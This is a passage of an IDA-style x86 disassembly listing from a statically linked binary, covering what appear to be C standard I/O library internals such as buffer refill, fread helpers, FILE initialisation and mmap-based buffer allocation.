		push	eax
		push	edx

loc_80619C1:				; CODE XREF: sub_8061928+83j
		call	memcpy
		add	esp, 0Ch
		cmp	dword ptr [edi+24h], 0
		jz	short loc_80619D8
		mov	eax, [edi+24h]
		push	eax
		call	free

loc_80619D8:				; CODE XREF: sub_8061928+A5j
		mov	ecx, [ebp+var_C]
		mov	[edi+24h], ecx
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_8]
		add	eax, [ebp+var_4]
		mov	[edi+2Ch], eax
		jmp	short loc_8061A40
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80619EC:				; CODE XREF: sub_8061928+2Aj
		sub	eax, [ebp+var_4]
		mov	[ebp+var_8], eax
		test	esi, esi
		jge	short loc_8061A24
		mov	eax, esi
		neg	eax
		push	eax
		mov	eax, esi
		add	eax, [edi+2Ch]
		push	eax
		mov	eax, [ebp+var_8]
		add	eax, [edi+24h]
		push	eax
		call	sub_8056570
		mov	edx, [ebp+var_8]
		add	edx, [edi+24h]
		sub	edx, esi
		mov	ecx, [edi+0Ch]
		mov	eax, [edi+8]
		sub	eax, ecx
		push	eax
		push	ecx
		jmp	short loc_8061A3A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8061A24:				; CODE XREF: sub_8061928+CCj
		cmp	[ebp+var_4], 0
		jle	short loc_8061A40
		mov	edx, [ebp+var_8]
		add	edx, [edi+24h]
		mov	eax, [edi+0Ch]
		add	eax, esi
		mov	ecx, [ebp+var_4]
		push	ecx
		push	eax

loc_8061A3A:				; CODE XREF: sub_8061928+F7j
		push	edx
		call	memcpy

loc_8061A40:				; CODE XREF: sub_8061928+C2j
					; sub_8061928+100j
		mov	ecx, [ebp+var_8]
		add	ecx, [edi+24h]
		mov	[edi+28h], ecx
		mov	edx, [edi+8]
		sub	edx, [edi+0Ch]
		mov	eax, [edi+30h]
		test	eax, eax
		jz	short loc_8061A61
		lea	esi, [esi]

loc_8061A58:				; CODE XREF: sub_8061928+137j
		sub	[eax+8], edx
		mov	eax, [eax]
		test	eax, eax
		jnz	short loc_8061A58

loc_8061A61:				; CODE XREF: sub_8061928+12Cj
		xor	eax, eax

loc_8061A63:				; CODE XREF: sub_8061928+51j
		lea	esp, [ebp+var_18]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8061928	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8061A70	proc near		; CODE XREF: sub_804F734+1Fp
					; sub_8061D4C+C8p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		test	byte ptr [ebx+1], 8
		jz	short loc_8061A8B
		push	ebx
		call	sub_806186C
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_8061AC3

loc_8061A8B:				; CODE XREF: sub_8061A70+Bj
		mov	eax, [ebx+4]
		cmp	[ebx+8], eax
		ja	short loc_8061AAA
		test	byte ptr [ebx+1], 1
		jz	short loc_8061AB0
		push	ebx
		call	sub_806180C
		add	esp, 4
		mov	eax, [ebx+4]
		cmp	[ebx+8], eax
		jbe	short loc_8061AB0

loc_8061AAA:				; CODE XREF: sub_8061A70+21j
		movzx	eax, byte ptr [eax]
		jmp	short loc_8061AE4
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8061AB0:				; CODE XREF: sub_8061A70+27j
					; sub_8061A70+38j
		cmp	dword ptr [ebx+30h], 0
		jz	short loc_8061ACC
		push	ebx
		call	sub_8061928
		add	esp, 4
		test	eax, eax
		jz	short loc_8061ADB

loc_8061AC3:				; CODE XREF: sub_8061A70+19j
		mov	eax, 0FFFFFFFFh
		jmp	short loc_8061AE4
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8061ACC:				; CODE XREF: sub_8061A70+44j
		cmp	dword ptr [ebx+24h], 0
		jz	short loc_8061ADB
		push	ebx
		call	sub_80618D4
		add	esp, 4

loc_8061ADB:				; CODE XREF: sub_8061A70+51j
					; sub_8061A70+60j
		mov	eax, [ebx+50h]
		push	ebx
		mov	eax, [eax+1Ch]
		call	eax

loc_8061AE4:				; CODE XREF: sub_8061A70+3Dj
					; sub_8061A70+58j
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_8061A70	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8061AEC	proc near

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		test	byte ptr [ebx+1], 8
		jz	short loc_8061B07
		push	ebx
		call	sub_806186C
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_8061B43

loc_8061B07:				; CODE XREF: sub_8061AEC+Bj
		mov	eax, [ebx+4]
		cmp	[ebx+8], eax
		ja	short loc_8061B26
		test	byte ptr [ebx+1], 1
		jz	short loc_8061B30
		push	ebx
		call	sub_806180C
		add	esp, 4
		mov	eax, [ebx+4]
		cmp	[ebx+8], eax
		jbe	short loc_8061B30

loc_8061B26:				; CODE XREF: sub_8061AEC+21j
		movzx	eax, byte ptr [eax]
		inc	dword ptr [ebx+4]
		jmp	short loc_8061B64
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8061B30:				; CODE XREF: sub_8061AEC+27j
					; sub_8061AEC+38j
		cmp	dword ptr [ebx+30h], 0
		jz	short loc_8061B4C
		push	ebx
		call	sub_8061928
		add	esp, 4
		test	eax, eax
		jz	short loc_8061B5B

loc_8061B43:				; CODE XREF: sub_8061AEC+19j
		mov	eax, 0FFFFFFFFh
		jmp	short loc_8061B64
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8061B4C:				; CODE XREF: sub_8061AEC+48j
		cmp	dword ptr [ebx+24h], 0
		jz	short loc_8061B5B
		push	ebx
		call	sub_80618D4
		add	esp, 4

loc_8061B5B:				; CODE XREF: sub_8061AEC+55j
					; sub_8061AEC+64j
		mov	eax, [ebx+50h]
		push	ebx
		mov	eax, [eax+24h]
		call	eax

loc_8061B64:				; CODE XREF: sub_8061AEC+40j
					; sub_8061AEC+5Cj
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_8061AEC	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8061B6C	proc near		; CODE XREF: sub_8052E80+61p
					; sub_8052F58+D1p ...

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_8]
		cmp	dword ptr [ebx+1Ch], 0
		jz	short loc_8061B96
		test	byte ptr [ebx],	1
		jnz	short loc_8061B96
		mov	eax, [ebx+20h]
		sub	eax, [ebx+1Ch]
		push	eax
		mov	eax, [ebx+1Ch]
		push	eax
		call	munmap

loc_8061B96:				; CODE XREF: sub_8061B6C+13j
					; sub_8061B6C+18j
		mov	[ebx+1Ch], esi
		mov	[ebx+20h], edi
		cmp	[ebp+arg_C], 0
		jz	short loc_8061BA8
		and	dword ptr [ebx], 0FFFFFFFEh
		jmp	short loc_8061BAB
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8061BA8:				; CODE XREF: sub_8061B6C+34j
		or	byte ptr [ebx],	1

loc_8061BAB:				; CODE XREF: sub_8061B6C+39j
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8061B6C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8061BB8	proc near		; CODE XREF: sub_806106C+1Fp
					; sub_8061118+21p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		cmp	dword ptr [ebx+1Ch], 0
		jnz	short loc_8061BEB
		test	byte ptr [ebx],	2
		jnz	short loc_8061BDB
		mov	eax, [ebx+50h]
		push	ebx
		mov	eax, [eax+64h]
		call	eax
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_8061BEB

loc_8061BDB:				; CODE XREF: sub_8061BB8+10j
		push	0
		lea	eax, [ebx+48h]
		push	eax
		lea	eax, [ebx+47h]
		push	eax
		push	ebx
		call	sub_8061B6C

loc_8061BEB:				; CODE XREF: sub_8061BB8+Bj
					; sub_8061BB8+21j
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_8061BB8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8061BF4	proc near
		push	ebp
		mov	ebp, esp
		mov	eax, 0FFFFFFFFh
		mov	esp, ebp
		pop	ebp
		retn
sub_8061BF4	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8061C00	proc near

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx+50h]
		push	ebx
		mov	eax, [eax+1Ch]
		call	eax
		cmp	eax, 0FFFFFFFFh
		jz	short loc_8061C20
		mov	eax, [ebx+4]
		movzx	eax, byte ptr [eax]
		inc	dword ptr [ebx+4]
		jmp	short loc_8061C25
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8061C20:				; CODE XREF: sub_8061C00+13j
		mov	eax, 0FFFFFFFFh

loc_8061C25:				; CODE XREF: sub_8061C00+1Ej
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_8061C00	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8061C2C	proc near		; CODE XREF: sub_8061564+20Ap

var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_4]
		mov	edi, [ebp+arg_8]
		mov	[ebp+var_4], edi
		test	edi, edi
		jnz	short loc_8061C4C
		xor	eax, eax
		jmp	loc_8061D22
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8061C4C:				; CODE XREF: sub_8061C2C+14j
					; sub_8061C2C+E9j
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+18h]
		sub	esi, [edi+14h]
		test	esi, esi
		jle	loc_8061CF6
		cmp	[ebp+var_4], esi
		jnb	short loc_8061C65
		mov	esi, [ebp+var_4]

loc_8061C65:				; CODE XREF: sub_8061C2C+34j
		cmp	esi, 14h
		jle	short loc_8061C84
		mov	edi, [ebp+arg_0]
		mov	eax, [edi+14h]
		push	esi
		push	ebx
		push	eax
		call	memcpy
		add	esp, 0Ch
		add	ebx, esi
		add	[edi+14h], esi
		jmp	short loc_8061CF3
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8061C84:				; CODE XREF: sub_8061C2C+3Cj
		test	esi, esi
		jg	short loc_8061C8C
		xor	esi, esi
		jmp	short loc_8061CF3
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8061C8C:				; CODE XREF: sub_8061C2C+5Aj
		mov	edi, [ebp+arg_0]
		mov	edx, [edi+14h]
		lea	ecx, [esi-1]
		test	ecx, ecx
		jl	short loc_8061CED
		mov	eax, ecx
		not	eax
		and	eax, 3
		cmp	ecx, 0FFFFFFFFh
		jle	short loc_8061CC3
		test	eax, eax
		jz	short loc_8061CCC
		cmp	eax, 3
		jge	short loc_8061CC3
		cmp	eax, 2
		jge	short loc_8061CBC
		mov	al, [ebx]
		mov	[edx], al
		inc	ebx
		inc	edx
		lea	ecx, [esi-2]

loc_8061CBC:				; CODE XREF: sub_8061C2C+85j
		mov	al, [ebx]
		mov	[edx], al
		inc	ebx
		inc	edx
		dec	ecx

loc_8061CC3:				; CODE XREF: sub_8061C2C+77j
					; sub_8061C2C+80j
		mov	al, [ebx]
		mov	[edx], al
		inc	ebx
		inc	edx
		dec	ecx
		js	short loc_8061CED

loc_8061CCC:				; CODE XREF: sub_8061C2C+7Bj
					; sub_8061C2C+BFj
		mov	al, [ebx]
		mov	[edx], al
		mov	al, [ebx+1]
		mov	[edx+1], al
		mov	al, [ebx+2]
		mov	[edx+2], al
		mov	al, [ebx+3]
		mov	[edx+3], al
		add	ebx, 4
		add	edx, 4
		add	ecx, 0FFFFFFFCh
		jns	short loc_8061CCC

loc_8061CED:				; CODE XREF: sub_8061C2C+6Bj
					; sub_8061C2C+9Ej
		mov	edi, [ebp+arg_0]
		mov	[edi+14h], edx

loc_8061CF3:				; CODE XREF: sub_8061C2C+54j
					; sub_8061C2C+5Ej
		sub	[ebp+var_4], esi

loc_8061CF6:				; CODE XREF: sub_8061C2C+2Bj
		cmp	[ebp+var_4], 0
		jz	short loc_8061D1C
		movzx	eax, byte ptr [ebx]
		push	eax
		inc	ebx
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_8061910
		add	esp, 8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_8061D1C
		dec	[ebp+var_4]
		jmp	loc_8061C4C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8061D1C:				; CODE XREF: sub_8061C2C+CEj
					; sub_8061C2C+E4j
		mov	eax, [ebp+arg_8]
		sub	eax, [ebp+var_4]

loc_8061D22:				; CODE XREF: sub_8061C2C+18j
		lea	esp, [ebp+var_10]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8061C2C	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8061D2C	proc near		; CODE XREF: fread+43p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	edx, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		mov	eax, [ebp+arg_8]
		mov	ebx, [edx+50h]
		push	eax
		push	ecx
		push	edx
		mov	eax, [ebx+3Ch]
		call	eax
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_8061D2C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8061D4C	proc near

var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+arg_8]
		mov	[ebp+var_4], edi
		mov	ebx, [ebp+arg_4]
		lea	esi, [esi]

loc_8061D60:				; CODE XREF: sub_8061D4C+D3j
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+8]
		sub	esi, [edi+4]
		test	esi, esi
		jle	loc_8061E0A
		cmp	[ebp+var_4], esi
		jnb	short loc_8061D79
		mov	esi, [ebp+var_4]

loc_8061D79:				; CODE XREF: sub_8061D4C+28j
		cmp	esi, 14h
		jle	short loc_8061D98
		mov	edi, [ebp+arg_0]
		mov	eax, [edi+4]
		push	esi
		push	eax
		push	ebx
		call	memcpy
		add	esp, 0Ch
		add	ebx, esi
		add	[edi+4], esi
		jmp	short loc_8061E07
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8061D98:				; CODE XREF: sub_8061D4C+30j
		test	esi, esi
		jg	short loc_8061DA0
		xor	esi, esi
		jmp	short loc_8061E07
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8061DA0:				; CODE XREF: sub_8061D4C+4Ej
		mov	edi, [ebp+arg_0]
		mov	edx, [edi+4]
		lea	ecx, [esi-1]
		test	ecx, ecx
		jl	short loc_8061E01
		mov	eax, ecx
		not	eax
		and	eax, 3
		cmp	ecx, 0FFFFFFFFh
		jle	short loc_8061DD7
		test	eax, eax
		jz	short loc_8061DE0
		cmp	eax, 3
		jge	short loc_8061DD7
		cmp	eax, 2
		jge	short loc_8061DD0
		mov	al, [edx]
		mov	[ebx], al
		inc	edx
		inc	ebx
		lea	ecx, [esi-2]

loc_8061DD0:				; CODE XREF: sub_8061D4C+79j
		mov	al, [edx]
		mov	[ebx], al
		inc	edx
		inc	ebx
		dec	ecx

loc_8061DD7:				; CODE XREF: sub_8061D4C+6Bj
					; sub_8061D4C+74j
		mov	al, [edx]
		mov	[ebx], al
		inc	edx
		inc	ebx
		dec	ecx
		js	short loc_8061E01

loc_8061DE0:				; CODE XREF: sub_8061D4C+6Fj
					; sub_8061D4C+B3j
		mov	al, [edx]
		mov	[ebx], al
		mov	al, [edx+1]
		mov	[ebx+1], al
		mov	al, [edx+2]
		mov	[ebx+2], al
		mov	al, [edx+3]
		mov	[ebx+3], al
		add	edx, 4
		add	ebx, 4
		add	ecx, 0FFFFFFFCh
		jns	short loc_8061DE0

loc_8061E01:				; CODE XREF: sub_8061D4C+5Fj
					; sub_8061D4C+92j
		mov	edi, [ebp+arg_0]
		mov	[edi+4], edx

loc_8061E07:				; CODE XREF: sub_8061D4C+48j
					; sub_8061D4C+52j
		sub	[ebp+var_4], esi

loc_8061E0A:				; CODE XREF: sub_8061D4C+1Fj
		cmp	[ebp+var_4], 0
		jz	short loc_8061E25
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_8061A70
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		jnz	loc_8061D60

loc_8061E25:				; CODE XREF: sub_8061D4C+C2j
		mov	eax, [ebp+arg_8]
		sub	eax, [ebp+var_4]
		lea	esp, [ebp+var_10]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8061D4C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8061E38	proc near
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		mov	esp, ebp
		pop	ebp
		retn
sub_8061E38	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8061E44	proc near		; CODE XREF: sub_8060F60+10p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_8]
		mov	eax, [ebx+50h]
		push	ebx
		mov	eax, [eax+5Ch]
		call	eax
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_8061E68
		xor	eax, eax
		jmp	short loc_8061EBC
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8061E68:				; CODE XREF: sub_8061E44+1Ej
		test	esi, esi
		jz	short loc_8061E70
		test	edi, edi
		jnz	short loc_8061E80

loc_8061E70:				; CODE XREF: sub_8061E44+26j
		or	byte ptr [ebx],	2
		push	0
		lea	eax, [ebx+48h]
		push	eax
		lea	eax, [ebx+47h]
		push	eax
		jmp	short loc_8061E8A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8061E80:				; CODE XREF: sub_8061E44+2Aj
		and	dword ptr [ebx], 0FFFFFFFDh
		push	0
		lea	eax, [edi+esi]
		push	eax
		push	esi

loc_8061E8A:				; CODE XREF: sub_8061E44+39j
		push	ebx
		call	sub_8061B6C
		mov	dword ptr [ebx+18h], 0
		mov	dword ptr [ebx+14h], 0
		mov	dword ptr [ebx+10h], 0
		mov	dword ptr [ebx+8], 0
		mov	dword ptr [ebx+4], 0
		mov	dword ptr [ebx+0Ch], 0
		mov	eax, ebx

loc_8061EBC:				; CODE XREF: sub_8061E44+22j
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8061E44	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8061EC8	proc near

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	edx, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		mov	eax, [ebp+arg_8]
		mov	ebx, [edx+50h]
		push	eax
		push	0
		push	ecx
		push	edx
		mov	eax, [ebx+44h]
		call	eax
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_8061EC8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8061EEC	proc near

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	0
		push	0FFFFFFFFh
		push	22h
		push	3
		push	400h
		push	0
		call	mmap
		mov	edx, eax
		add	esp, 18h
		cmp	edx, 0FFFFFFFFh
		jz	short loc_8061F28
		push	1
		lea	eax, [edx+400h]
		push	eax
		push	edx
		push	ebx
		call	sub_8061B6C
		mov	eax, 1
		jmp	short loc_8061F2D
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8061F28:				; CODE XREF: sub_8061EEC+23j
		mov	eax, 0FFFFFFFFh

loc_8061F2D:				; CODE XREF: sub_8061EEC+3Aj
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_8061EEC	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8061F34	proc near		; CODE XREF: fopen+23p	sub_804F820+15p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		or	edx, 0FBAD0000h
		mov	[eax], edx
		mov	dword ptr [eax+1Ch], 0
		mov	dword ptr [eax+20h], 0
		mov	dword ptr [eax+0Ch], 0
		mov	dword ptr [eax+4], 0
		mov	dword ptr [eax+8], 0
		mov	dword ptr [eax+10h], 0
		mov	dword ptr [eax+14h], 0
		mov	dword ptr [eax+18h], 0
		mov	dword ptr [eax+34h], 0
		mov	dword ptr [eax+24h], 0
		mov	dword ptr [eax+28h], 0
		mov	dword ptr [eax+2Ch], 0
		mov	dword ptr [eax+30h], 0
		mov	word ptr [eax+44h], 0
		mov	dword ptr [eax+38h], 0FFFFFFFFh
		mov	esp, ebp
		pop	ebp
		retn
sub_8061F34	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8061FB4	proc near
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		mov	esp, ebp
		pop	ebp
		retn
sub_8061FB4	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8061FC0	proc near		; CODE XREF: sub_80531A8+26p
					; sub_8060DDC+36p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		cmp	dword ptr [ebx+1Ch], 0
		jz	short loc_8061FF3
		test	byte ptr [ebx],	1
		jnz	short loc_8061FF3
		mov	eax, [ebx+20h]
		sub	eax, [ebx+1Ch]
		push	eax
		mov	eax, [ebx+1Ch]
		push	eax
		call	munmap
		mov	dword ptr [ebx+20h], 0
		mov	dword ptr [ebx+1Ch], 0
		add	esp, 8

loc_8061FF3:				; CODE XREF: sub_8061FC0+Bj
					; sub_8061FC0+10j
		mov	eax, [ebx+30h]
		test	eax, eax
		jz	short loc_8062009
		lea	esi, [esi]

loc_8061FFC:				; CODE XREF: sub_8061FC0+47j
		mov	dword ptr [eax+4], 0
		mov	eax, [eax]
		test	eax, eax
		jnz	short loc_8061FFC

loc_8062009:				; CODE XREF: sub_8061FC0+38j
		cmp	dword ptr [ebx+24h], 0
		jz	short loc_8062022
		mov	eax, [ebx+24h]
		push	eax
		call	free
		mov	dword ptr [ebx+24h], 0
		add	esp, 4

loc_8062022:				; CODE XREF: sub_8061FC0+4Dj
		push	ebx
		call	sub_8061788
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_8061FC0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8062030	proc near
		push	ebp
		mov	ebp, esp
		mov	eax, 0FFFFFFFFh
		mov	esp, ebp
		pop	ebp
		retn
sub_8062030	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_806203C	proc near

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		mov	eax, [ebx+4]
		cmp	[ebx+0Ch], eax
		jnb	short loc_806205C
		cmp	[eax-1], dl
		jnz	short loc_806205C
		dec	dword ptr [ebx+4]
		movzx	eax, dl
		jmp	short loc_8062066
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_806205C:				; CODE XREF: sub_806203C+10j
					; sub_806203C+15j
		mov	eax, [ebx+50h]
		push	edx
		push	ebx
		mov	eax, [eax+2Ch]
		call	eax

loc_8062066:				; CODE XREF: sub_806203C+1Dj
		cmp	eax, 0FFFFFFFFh
